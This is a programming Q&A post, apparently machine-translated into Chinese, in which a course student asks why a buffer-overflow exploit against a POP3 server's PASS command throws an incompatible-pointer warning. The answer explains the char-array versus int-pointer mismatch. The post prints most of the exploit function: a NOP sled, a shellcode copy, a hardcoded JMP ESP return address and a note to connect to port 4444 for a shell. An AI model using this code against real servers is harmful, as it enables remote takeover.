C 脚本中不兼容指针类型的赋值

Assignment from Incompatible Pointer Type In C Script

在我正在学习的课程中,我得到了一个用 C 编写的损坏的缓冲区溢出脚本,并且必须修复损坏的代码。到目前为止我已经修补了一些东西,但是在尝试编译它时收到此错误消息(错误出现在初始代码中,而不是我编辑的任何内容):

646-fixed.c:在函数“exploit”中:

646-fixed.c:48:警告:来自不兼容指针类型的赋值

下面是发生错误的函数。我对 C 不是很熟悉——但是从我昨天收到的回复来看,我知道这是因为 ptr 的类型是 int,而 evil 的类型是 char。我不明白的是我能做些什么来解决这个问题——有人能帮忙吗? 您还可以 see the full script here

void exploit(int sock) {
      FILE *test;
      int *ptr;
      char userbuf[] = "USER madivan\r\n";
      char evil[3001];
      char buf[3012];
      char receive[1024];
      char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
                       "\x90\x90\x90\x90\x90\x90\x90\x90";
      memset(buf, 0x00, 3012);
      memset(evil, 0x00, 3001);
      memset(evil, 0x43, 3000);
48    ptr = &evil;
      ptr = ptr + 652; // 2608 
      memcpy(ptr, &nopsled, 16);
      ptr = ptr + 4;
      memcpy(ptr, &shellcode, 317);
      *(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP

      // banner
      recv(sock, receive, 200, 0);
      printf("[+] %s", receive);
      // user
      printf("[+] Sending Username...\n");
      send(sock, userbuf, strlen(userbuf), 0);
      recv(sock, receive, 200, 0);
      printf("[+] %s", receive);
      // passwd
      printf("[+] Sending Evil buffer...\n");
      sprintf(buf, "PASS %s\r\n", evil);
      //test = fopen("test.txt", "w");
      //fprintf(test, "%s", buf);
      //fclose(test);
      send(sock, buf, strlen(buf), 0);
      printf("[*] Done! Connect to the host on port 4444...\n\n");
}

注意:我昨天发了这个,只提供了几行代码,结果没有得到明确的答案 - 所以我删除了它,然后重新发布。

&evil的类型是指向长度为3001的数组或char的指针,或者char (*)[3001]ptr 的类型是指向 intint* 的指针。这些类型是不兼容的。您不能将一个分配给另一个。

您可能需要的是指向 evil 第一个元素的指针。您可以使用指向 char 的指针,即 char*,并将 evil 分配给它:

char *ptr;
....
ptr = evil;

此处,evil 衰减为指向数组第一个元素的指针,因此赋值有效。这相当于给第一个元素赋值地址:

ptr = &evil[0];